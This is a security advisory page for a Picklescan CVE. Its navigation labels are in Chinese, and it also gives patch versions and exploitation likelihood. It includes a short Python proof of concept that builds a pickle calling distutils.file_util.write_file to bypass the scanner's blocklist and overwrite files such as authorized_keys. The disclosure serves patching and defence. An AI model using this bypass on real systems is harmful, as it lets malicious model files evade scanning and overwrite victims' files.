CVE-2025-71321

描述

### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" /> To fix this just add disutil to the blacklist

如何修補 CVE-2025-71321

要修補 CVE-2025-71321,請將受影響套件升級到下列已修補版本。

• —升級至 0.0.33 或更新版本
• —升級至 0.0.33 或更新版本

CVE-2025-71321 正在被利用嗎?

低 — EPSS 為 0.6%,目前沒有觀察到大規模利用活動。

受影響套件(2)

• from 0, < 0.0.33
• from 0, < 0.0.33

CVSS 分數

參考連結(9)

• ADVISORYgithub.com/advisories/GHSA-m273-6v24-x4m4
• ADVISORYnvd.nist.gov/vuln/detail/CVE-2025-71321
• PATCHgithub.com/mmaitre314/picklescan
• PATCHpypi.org/project/picklescan
• WEB